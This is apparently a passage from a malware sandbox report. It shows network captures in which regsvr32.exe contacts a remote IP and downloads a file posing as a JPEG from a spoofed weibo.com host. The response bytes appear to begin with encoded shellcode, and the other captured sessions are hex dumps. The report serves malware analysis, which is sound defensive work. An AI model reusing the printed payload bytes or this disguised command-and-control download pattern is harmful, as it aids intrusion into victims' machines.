23 8e 55 c5 94 4d 53 c6 1e fd c0 77 b2 5d 66 c7 02 f1 d7 42 a4 53 60 f4 15 f5 f3 45 b3 45 55 e8 04 86 a7 e8 82 2b 10 4e 
33 ab a1 e4 84 01 01 46 2b 91 a7 e6 9c 3b 0b 4b 5f 3b 30 48 d0 9d 92 fd 76 1d 23 57 c1 b7 83 f5 6e 27 25 55 d9 8d 89 f8 
1a 8d 62 fa 90 20 c8 4d 3a 82 67 e7 83 24 e7 56 29 93 4d f6 8b 3c dd 50 2b 8b 77 fc 86 09 da 5b 16 ba 70 f6 96 16 c6 5b 
21 d5 14 5b a6 73 bb fd 11 d5 3b 4c bb 62 91 ec 19 cd 01 
Data Ascii: C"Fg'Wn_b:Id<DQ =K?EwEEKu'DAi'LAC9}#`>h#UMSw]fBS`EEU+N3F+;K_;0Hv#Wn'%Ub M:g$V)M<P+w[p[![
s;Lb

2022-02-08 23:07:11 UTC 621 IN Data Raw: 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 1f 16 ed a8 21 38 c3 86 0f 16 ed a8 21 38 
c3 86 0f 16 ed a8 21 38 de 86 0c 16 b0 8d 55 51 f0 c7 12 0d fb b5 4f 5a a6 ec 0e 03 be f6 7c 5f e5 b6 36 1d a7 ab 2a 1d 
ec fd 61 33 c2 d3 4f 1d ec fd 61 33 c2 d3 4f 1d ec fd 
Data Ascii: ?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8!8!8!8UQOZ|_6*a3Oa3O

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 673 IN Data Raw: 44 1a f8 a3 6a 34 d6 8d 44 1a f8 a3 6a 34 d6 bb 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 05 d6 3a 44 29 f8 15 
6a 24 d6 3a 44 08 f8 16 6a 1c d6 3b 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 
9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c 
d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 
Data Ascii: Dj4Dj4Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj:D)j$:Dj;Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?
Dj?Dj

2022-02-08 23:07:11 UTC 675 IN Data Raw: ab 9a a5 5e ab 9a 5a a1 54 65 5a a1 54 65 68 03 8b 48 f1 28 8b 48 3c 75 ab 9a 5a a1 54 65 5a a1 54 65 5a a1 
54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a 
a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 
5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 
65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 
54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b 
a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a 
Data Ascii: ^ZTeZTehH(H<uZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZT
eZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTe[Te[Te[Te[Te[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[Te
ZTeZTeZ

2022-02-08 23:07:11 UTC 677 IN Data Raw: 20 ee 8b 11 20 ee 8b 11 20 ee 8b 11 20 ee 4b 63 24 6e 4a 63 24 6e 4b 62 24 6e 4b 62 24 6e 4b 62 24 6e 4b 
72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 49 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 
6e 48 72 24 6e 4a 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 
24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
Data Ascii:     Kc$nJc$nKb$nKb$nKb$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nIr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nJr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nH

2022-02-08 23:07:11 UTC 679 IN Data Raw: 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 
6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 
fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff 
a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 
25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 
ee fe a8 26 ee ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee be 4b 25 6e 
bf 4b 25 6e bf 4b 25 6e bf 4b 25 6e bf 
Data Ascii: %n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n
/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&&&&&&&K%nK%nK%nK%n

2022-02-08 23:07:11 UTC 681 IN Data Raw: a5 93 28 4e a5 93 ca 2a a5 93 ea 8b a6 93 be ee a6 93 1e 89 a6 93 22 28 a5 93 d2 4f a5 93 23 27 a5 93 b7 a8 
a6 93 43 c0 a6 93 91 a9 a6 93 e9 3a a5 93 3d 53 a5 93 e9 39 a5 93 01 99 a6 93 d5 f3 a6 93 3a 98 a6 93 52 07 a5 93 42 
6b a5 93 37 07 a5 93 0f 90 a6 93 77 fc a6 93 a8 90 a6 93 44 0c a5 93 a4 60 a5 93 a7 0e a5 93 77 af a6 93 73 c1 a6 93 6a 
ae a6 93 ba 0f a5 93 f2 60 a5 93 4e 0f a5 93 76 98 a6 93 ca f7 a6 93 4a 87 a6 93 3e 16 a5 93 be 66 a5 93 51 16 a5 93 c1 
9d a6 93 31 ed a6 93 fe 9c a6 93 a6 3d a5 93 76 4c a5 93 46 3e a5 93 d6 b5 a6 93 e6 c7 a6 93 61 b5 a6 93 b5 26 a5 93 
21 54 a5 93 96 26 a5 93 fa 87 a6 93 42 f5 a6 93 46 86 a6 93 92 15 a5 93 be 66 a5 93 d5 12 a5 93 05 84 a6 93 69 f0 a6 9
3 94 85 a6 93 e0 24 a5 93 84 52 a5 93 9c 25 a5 93 a4 b2 a6 93 bc 
Data Ascii: (N*"(O#'C:=S9:RBk7wD`wsj`NvJ>fQ1=vLF>a&!T&BFfi$R%

2022-02-08 23:07:11 UTC 683 IN Data Raw: a4 93 7f cc a7 93 f3 c5 a6 93 28 cc a7 93 fc 5f a4 93 20 56 a5 93 8a 5c a4 93 5a fd a7 93 9a f7 a6 93 07 fc a7 
93 3f 6b a4 93 9f 60 a5 93 05 6c a4 93 f1 e1 a7 93 6d ed a6 93 eb e0 a7 93 e3 7f a4 93 6b 72 a5 93 90 7f a4 93 80 f1 a7 
93 7c fc a6 93 09 f2 a7 93 19 7c a4 93 61 72 a5 93 c9 7d a4 93 95 f3 a7 93 3d fc a6 93 32 ed a7 93 4e 63 a4 93 5e 72 a5 
93 03 60 a4 93 27 ee a7 93 47 fc a6 93 35 ef a7 93 75 61 a4 93 01 72 a5 93 dd 61 a4 93 4d ea a7 93 91 f9 a6 93 50 ec a7 
93 e8 62 a4 93 2c 77 a5 93 11 60 a4 93 89 ee a7 93 c9 f9 a6 93 1a ee a7 93 ca 4f a4 93 1e 58 a5 93 00 40 a4 93 e8 d6 
a7 93 c8 ce a6 93 ca d7 a7 93 22 59 a4 93 26 40 a5 93 96 5a a4 93 46 d4 a7 93 f6 ce a6 93 c2 d5 a7 93 7e 4f a4 93 4a 54 
a5 93 17 4f a4 93 df dc a7 93 bf c7 a6 93 2d dc a7 93 3d 
Data Ascii: (_ V\Z?k`lmkr||ar}=2Nc^r`'G5uaraMPb,w`OX@"Y&@ZF~OJTO-=

2022-02-08 23:07:11 UTC 685 IN Data Raw: a6 93 91 59 a7 93 e5 c8 a4 93 75 69 a5 93 01 cf a4 93 d1 5c a7 93 51 fa a6 93 d1 5d a7 93 0d ce a4 93 8d 69 
a5 93 4c ce a4 93 98 5d a7 93 5c fa a6 93 86 5d a7 93 52 ce a4 93 8e 69 a5 93 ac c0 a4 93 3c 4b a7 93 18 e2 a6 93 52 
4b a7 93 86 d8 a4 93 da 71 a5 93 d1 db a4 93 41 50 a7 93 59 fa a6 93 3a 50 a7 93 ee c3 a4 93 8a 69 a5 93 1d c3 a4 93 
e9 50 a7 93 71 fa a6 93 a0 50 a7 93 30 db a4 93 dc 71 a5 93 5d dd a4 93 5d 49 a7 93 cd e5 a6 93 6b 49 a7 93 bf da a4 9
3 17 76 a5 93 35 db a4 93 a5 50 a7 93 81 fd a6 93 0b 50 a7 93 3b c4 a4 93 b7 69 a5 93 d6 c7 a4 93 82 53 a7 93 f2 fd a6 
93 0c 52 a7 93 b0 c6 a4 93 b0 76 a5 93 3f c6 a4 93 af 52 a7 93 3f e2 a6 93 5a 53 a7 93 8e c0 a4 93 0e 71 a5 93 c0 c0 a4 
93 18 54 a7 93 c8 e5 a6 93 27 56 a7 93 3f c3 a4 93 cf 70 a5 93 c2 
Data Ascii: Yui\Q]iL]\]Ri<KRKqAPY:PiPqP0q]]IkIv5PP;iSRv?R?ZSqT'V?p

2022-02-08 23:07:11 UTC 687 IN Data Raw: a7 93 65 29 a5 93 45 6f a7 93 95 f4 a4 93 b5 b2 a6 93 03 f4 a4 93 4f 68 a7 93 f7 2e a5 93 59 66 a7 93 a1 fd a4 
93 11 b5 a6 93 4b fc a4 93 77 60 a7 93 2b 29 a5 93 fb 60 a7 93 97 c1 a4 93 47 88 a6 93 3a c2 a4 93 42 51 a7 93 ee 1b 
a5 93 6d 50 a7 93 15 cc a4 93 91 87 a6 93 cc cb a4 93 6c 57 a7 93 0c 1b a5 93 e9 57 a7 93 89 cc a4 93 61 80 a6 93 7b 
cd a4 93 93 5b a7 93 b7 16 a5 93 e7 58 a7 93 4b d7 a4 93 13 99 a6 93 16 c9 a4 93 ba 46 a7 93 b2 16 a5 93 eb 47 a7 93 
27 db a4 93 43 8a a6 93 fe db a4 93 1a 47 a7 93 da 16 a5 93 e3 44 a7 93 0f d8 a4 93 5f 8a a6 93 ee d8 a4 93 3a 4b a7 9
3 8e 19 a5 93 30 4a a7 93 cc d6 a4 93 0c 85 a6 93 20 d1 a4 93 24 4c a7 93 08 18 a5 93 2e 40 a7 93 d2 dc a4 93 92 84 
a6 93 95 dd a4 93 85 40 a7 93 ad 19 a5 93 b7 43 a7 93 87 de a4 93 9b 
Data Ascii: e)EoOh.YfKw`+)`G:BQmPlWWa{[XKFG'CGD_:K0J $L.@@C

2022-02-08 23:07:11 UTC 689 IN Data Raw: 94 91 b2 bf a4 35 f2 1b f4 91 92 bf 84 35 12 1b 14 91 b2 bf a4 35 72 1b 74 91 92 bf 84 35 92 1a 94 90 b2 bf a4 
35 f2 1a f4 90 92 bf 84 35 12 1a 14 90 b2 bf a4 35 72 1a 74 90 92 bf 84 35 92 19 94 93 b2 bf a4 35 f2 19 f4 93 92 bf 84 35 
12 19 14 93 b2 bf a4 35 72 19 74 93 92 bf 84 35 92 18 94 92 b2 bf a4 35 f2 18 f4 92 92 bf 84 35 12 18 14 92 b2 bf a4 35 
72 18 74 92 92 bf 84 35 92 17 94 9d b2 bf a4 35 f2 17 f4 9d 9a bf 8c 35 12 17 14 9d ba bf ac 35 72 17 74 9d 9a bf 8c 35 
92 16 94 9c ba bf ac 35 f2 16 f4 9c 9a bf 8c 35 12 16 14 9c ba bf ac 35 72 16 74 9c 9a bf 8c 35 92 15 94 9f ba bf ac 35 f2 
15 f4 9f 9a bf 8c 35 12 15 14 9f ba bf ac 35 72 15 74 9f 9a bf 8c 35 92 14 94 9e ba bf ac 35 f2 14 f4 9e 9a bf 8c 35 12 14 
14 9e ba bf ac 35 72 14 74 9e 9a bf 8c 35 92 
Data Ascii: 555rt5555rt5555rt5555rt5555rt5555rt5555rt5555rt5

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 691 IN Data Raw: 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 
Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.6 49761 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:09 UTC 24 OUT GET /image-directory/dhl.jpg HTTP/1.1
Host: weibo.com
Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:09 UTC 39 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:09 GMT
Server: nginx
Content-Type: image/jpeg
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 261711

2022-02-08 23:07:09 UTC 39 IN Data Raw: fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b 4d 00 31 c1 48 83 c5 04 55 8b 55 00 31 c2 89 55 00 31 d0 48 
83 c5 04 83 e9 04 31 d2 39 d1 74 02 eb e7 58 fc 48 83 e4 f0 ff d0 e8 c8 ff ff ff 47 e4 13 09 4f 1a 10 09 d7 74 83 99 47 e4 
13 d4 1d a5 41 81 55 2c a4 c9 d4 c0 84 c9 d4 c0 cc 44 c9 2a 33 bb 36 62 ba 64 7e e3 79 ec 21 e2 79 13 f2 a3 c1 e3 47 
01 97 8b 43 01 97 8b 19 49 1e 72 e6 99 1e 72 e6 99 1e 72 e6 99 1e 82 e6 99 1e 05 0d 51 6c 98 da 42 f9 05 9d 9a 44 7d 
95 d3 a8 42 da 17 81 ae 48 4e 4e 29 63 2a 4f c5 0d c4 ce e3 3b c5 c0 a0 49 6f 48 ff 40 b1 48 43 23 37 d5 fa 22 0f df 55 
5e af 8f 1c 15 fd 79 ba c5 6e d4 0c ef 51 45 32 63 3b 18 41 31 5e 81 2f 06 04 c4 94 c8 fb 3c 42 3c a6 f4 14 cb 0f 9c d9 ad 
90 d8 f4 59 e2 01 b6 1d 19 d9 8d 57 b0 90 24 5d 2f 73 7f 
Data Ascii: H3]EHM1HUU1U1H19tXHGOtGAU,D*36bd~y!yGCIrrrQlBD}BHNN)c*O;IoH@HC#7"U^ynQE2c;A1^/
<B<YW$]/s

2022-02-08 23:07:09 UTC 41 IN Data Raw: b5 ff 8c 90 37 6b 07 d0 18 88 8c 70 32 0e c4 62 bc 46 df 2a b2 cd 97 1b 99 2b 79 d8 5a db 61 9e 59 6d fa 15 
11 d2 1d be 96 9a 9a 59 35 15 d2 6f bb bf e7 1c 78 7c 24 93 36 82 87 76 f1 41 08 38 bd 0a cb fb 7e 88 83 ea f4 c0 8b 6a 
c8 57 76 89 8e 54 c0 6d 0e 1c 47 90 d9 56 ab da 5d 91 ed d9 e0 45 66 97 6c 8e ed 7f 58 c7 6a b2 63 fb 6a f9 a1 70 56 fb 
59 ec 91 44 6a 1c 92 cf 22 83 75 4c a9 cb da ab 22 40 92 1c c5 d3 19 5c c2 30 9b c0 40 ad 07 c0 4f a2 8c 88 48 29 c6 13 
83 a2 8c b8 50 29 c6 0b 8b a2 8c b0 68 20 1b 32 fd a2 8f b9 bd 8d 7c 32 f5 a7 fe 7a 3f 2d b6 60 bd 65 85 eb f5 5c ae 53 
1a 9f 6d 15 19 53 2b 3e da 90 e8 bc 92 1a 2f f2 10 26 6f c9 ac ea 2b d9 6f 29 e8 29 7e ab a0 2a 4a 99 27 62 49 df 36 ae 
0f dd f5 6d cc e8 f7 ad 00 ae 8c 6e c3 6d 06 ce 01 e2 48 
Data Ascii: 7kp2bF*+yZaYmY5ox|$6vA8~jWvTmGV]EflXjcjpVYDj"uL"@\0@OH)P)h 2|2z?-`e\SmS+>/&o+o))~*J'bI6mnmH

2022-02-08 23:07:09 UTC 43 IN Data Raw: b3 b8 43 65 f5 b3 80 a6 36 34 c8 d1 d1 27 0b 12 12 67 33 d3 a4 b4 b1 9b a9 9f 3e 7d 6a 5c 78 7e a6 1a 10 bd 
65 d9 9f f5 1a 3e bc 36 d9 fd 36 7e 55 26 0a a8 e8 8d cd 6b 62 c5 41 b0 28 42 a6 23 14 94 fd 88 d3 57 b5 44 2b 55 00 8e 
61 91 7b 4b a2 52 b8 63 1d d5 f0 ec fa 46 ba a3 1d 5d 79 60 de d6 37 27 39 cd f4 e4 fa 47 bc ea 78 0f ab aa 40 ce 1d 12 
cf 86 5a f5 bc 45 99 36 37 0f 1e d1 bc 84 56 96 5b 87 95 55 98 0c df e2 7f 8f 58 a8 c8 68 a3 e2 67 8f 50 69 2d 08 b7 82 
aa 42 38 65 49 c5 70 2a ae be b3 e9 6d 95 dc 03 ae 56 9a 00 18 8a d2 57 ff 91 11 94 3c 1e 59 98 b3 56 5c 13 fb 5b d3 59 
44 bc 38 bb c3 5b db 87 15 65 70 40 d6 ea 3e df 31 49 b4 97 a9 ba 3e df 01 41 b4 97 b1 c2 3e df 91 40 a2 5d 0c c2 3c df 
93 5e 3c 54 d9 d9 db af 52 91 9c 48 51 52 5f 8b da 18 e8 
Data Ascii: Ce64'g3>}j\x~e>66~U&kbA(B#WD+Ua{KRcF]y`7'9Gx@ZE67V[UXhgPi-B8eIp*mVW<YV\[YD8[ep@>1I>A>@]
<^<TRHQR_

2022-02-08 23:07:09 UTC 45 IN Data Raw: d4 5d b6 84 c6 5f bd 4a 41 9f bc cd b1 84 f4 cd b3 8f 35 4b 73 b4 7d 5e f4 44 66 dc 04 51 e4 94 0d 99 ec 16 ed 
8d 6e 5e ec 6d 6e dc 0c 67 9e c9 c4 6c 1c 81 c0 eb dc 9b c2 e0 14 19 8a ec 92 d9 91 ee 98 03 16 a0 dc 31 c4 92 46 c1 cf 
10 0e c5 4d 58 36 c7 46 9d c6 cc c4 d5 c6 ce c8 00 06 41 2f 97 c6 53 2d 9c 08 d1 65 94 f8 ea ad 9c 7f 2a ac 1e 9f 23 2a 
de 94 a1 62 de 16 e9 77 5c e6 fd f5 bc f4 ff fe 7d 04 c4 7c 8d 11 46 34 8d f1 46 fc 86 73 0e fe 46 49 8c b6 4c cb 4c 8d cb 
85 09 ea 8a 79 58 e8 81 b1 10 dc 83 bb ca 2c 88 39 82 2e 8a 34 57 2c 81 f1 a7 27 c9 f5 67 a8 2e 6e a7 ba ac 26 af 72 a0 
24 a4 bc 27 e4 a5 4c 14 04 ad ca d4 17 e5 ce d6 1c 24 3e e5 9e 6c 3e 05 9a a4 35 87 d2 a5 f5 b5 50 ed fc 37 90 de fe 3d 
4a dc f5 f5 ba d7 77 bd ae 51 39 f8 b8 cc e6 90 3a 
Data Ascii: ]_JA5Ks}^DfQn^mngl1FMX6FA/S-e*#*bw\}|F4FsFILLyX,9.4W,'g.n&r$'L$>l>5P7=JwQ9:

2022-02-08 23:07:09 UTC 47 IN Data Raw: 73 e1 48 30 78 24 b8 3b fa 6c ba fb 74 07 7a e9 f6 4f 76 6e 36 4e 74 65 f8 c9 84 76 7a 81 86 74 71 40 01 84 
62 c2 c9 8e e0 02 fa 0c a8 12 78 ec a5 e2 6c 6e ed e6 ee 8e ef 06 fb 46 e4 84 0b 56 ac 81 8c 96 be 83 87 5e f6 8e 01 9e 
e5 8c 0b 44 62 c2 4b 40 de 58 37 b0 d5 10 32 32 9d 09 30 39 58 f9 3b bb 10 f8 39 b3 c5 38 b7 dc 05 2a b5 d7 cb a8 fd dd 
3b b3 7f 15 32 34 bf 14 b0 d4 b3 92 70 e7 31 da 71 af 25 2a 64 2d c5 3f 66 26 04 cf 7d d6 10 4d 35 d4 92 ad 34 1c 99 2f 
7c 19 59 35 fe 51 54 b7 3e 4a d2 f9 7e 7a 1a da 7b 78 11 12 fc 30 09 10 f6 ea f9 1b 74 a2 fc 99 76 aa 29 9b 7d 6f d9 90 
35 6f 19 1e 46 af 0b 9c 0e a6 c3 94 0c ad 0d 13 cc ac 8a e3 d7 2e 6a e9 51 ee 51 a1 51 ec 5a 60 d6 1c 41 e2 9e 1d a1 e2 
56 16 23 aa 52 91 e3 b0 50 9a 2b 32 18 96 ad f2 03 94 a7 
Data Ascii: sH0x$;ltzOvn6Ntevztq@bxlnFV^DbK@X72209X;98*;24p1q%*d-?f&}M54/|Y5QT>J~z{x0tv)}o5oF.jQQQZ`
AV#RP+2
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2022-02-08 23:07:10 UTC 73 IN Data Raw: dc 81 de 39 2c 8a 5c 71 29 4a d2 b2 e9 58 9a bf 6b 90 97 bd 60 5e 10 7d 61 d9 e0 46 e3 91 e5 44 e8 50 62 b4 
d3 b0 6e fc d6 32 8e f9 50 f2 95 7b 18 e3 5d 70 e8 f3 df 38 e8 74 1f 02 ea 7f d7 80 0a 6f 55 70 1b e9 95 4b 9d a7 d7 80 32 
53 0a 02 7a 5b 8c 4a 76 59 86 90 86 52 04 d8 86 d0 06 d2 53 d2 0d 17 a3 d9 8f 5f a7 19 01 98 67 0b 83 d0 6a 89 4b dc 
68 82 85 5b a8 83 02 ab a3 63 0f 29 63 58 8d 61 67 da c5 71 65 d1 04 81 75 56 f4 8a 95 42 76 c2 90 c0 96 c6 60 d0 5e cd 
28 d4 d9 0d 22 9c d5 0f 29 54 53 cf 22 d2 1d 8e ad 66 96 6a af 6c 4c 9a a4 24 48 1c ec 36 4a 17 29 c6 41 95 61 c4 c3 97 
68 11 03 19 a3 d1 11 1b a8 1f 93 53 a4 98 63 40 26 50 69 c7 e6 51 eb 27 eb d3 2b 14 69 9b 29 96 21 8b 2b 9d e0 0c db 
8e 62 44 df 0c 82 46 17 07 ca 43 90 c7 d8 41 9b 0f 90 4c 1d 
Data Ascii: 9,\q)JXk`^}aFDPbn2P{]p8toUpK2Sz[JvYRS_gjKh[c)cXagqeuVBv`^(")TS"fjlL$H6J)AahSc@&PiQ'+i)!+bDFCAL

2022-02-08 23:07:10 UTC 75 IN Data Raw: 4c b4 69 bc c7 5c 51 c5 0c 9f 92 06 45 1d 50 4d c2 d1 65 04 00 5a 2b 8e c7 11 ac 42 f7 58 2e 7a bc df e2 4d f5 
5d db 06 72 91 ed 8d 4e 98 5b 92 be 9b d0 da 21 7c 23 51 61 7b c0 cd 61 74 4b 87 fe 93 80 0c b4 24 67 df 20 af 25 f0 23 
6c e6 33 a8 24 20 47 fe e4 e3 cc 0e e3 68 86 49 04 1b 45 8a c7 90 0b 7c b1 13 cb bf 41 0b 40 f7 7c 80 0e 78 9b 63 25 71 
a5 5f 19 fa ed 93 32 17 dc 51 f1 9c 94 85 7a d2 1b 62 99 5d 53 61 b2 68 6d 5d 8e e3 23 0a 69 b0 e0 c9 aa 3b ae 46 4d d8 
85 31 70 e4 b9 ba d0 e4 3b c1 33 27 f8 02 b8 69 37 44 7a aa f4 87 f1 6a ff 0c bf bd f2 87 f1 f2 15 d4 32 31 d6 ff 36 e9 17 
3c 70 ea a1 f2 4c ea 2a b2 48 01 6a 8a 89 be 31 a2 4f c5 f7 61 8c 06 7c 29 c3 e1 0f ea 00 22 84 1a 0f 09 86 42 cd ca 09 
0c 92 2d 0a cf 51 ee 80 87 c9 3d 0a cf 79 e6 80 87 
Data Ascii: Li\QEPMeZ+BX.zM]rN[!|#Qa{atK$g %#l3$ GhIE|A@|xc%q_2Qzb]Sahm]#i;FM1p;3'i7Dzj216<pL*Hj1Oa|)"B-
Q=y

2022-02-08 23:07:10 UTC 77 IN Data Raw: 01 fe 07 a6 8e 19 e4 ee 80 9e ac ea ab a4 bb d6 97 ec 80 90 94 20 c6 d9 57 e3 05 58 1f 64 e5 8b 98 9c de 3b 
6d 16 96 37 ef fe 92 bc 2f b3 b9 7f ec 70 91 9c 63 38 95 17 2b 33 be 4b b5 f1 7d ca fd 76 9d 19 05 4d 2d c9 8e 05 60 e2 
4d c6 a3 0a 49 4d 63 06 01 5e 48 0a 3e 62 74 8c ce 61 f1 76 49 81 22 c3 96 0a 6a 86 bd c9 a9 45 3c 80 66 86 7f b2 93 06 
34 7d 60 84 08 7e e5 7c 8f 9e 36 cd a8 15 7e c0 29 29 e9 20 b2 61 d2 66 b1 d7 07 e3 f9 50 e7 30 73 18 f2 bb 3b 15 73 87 
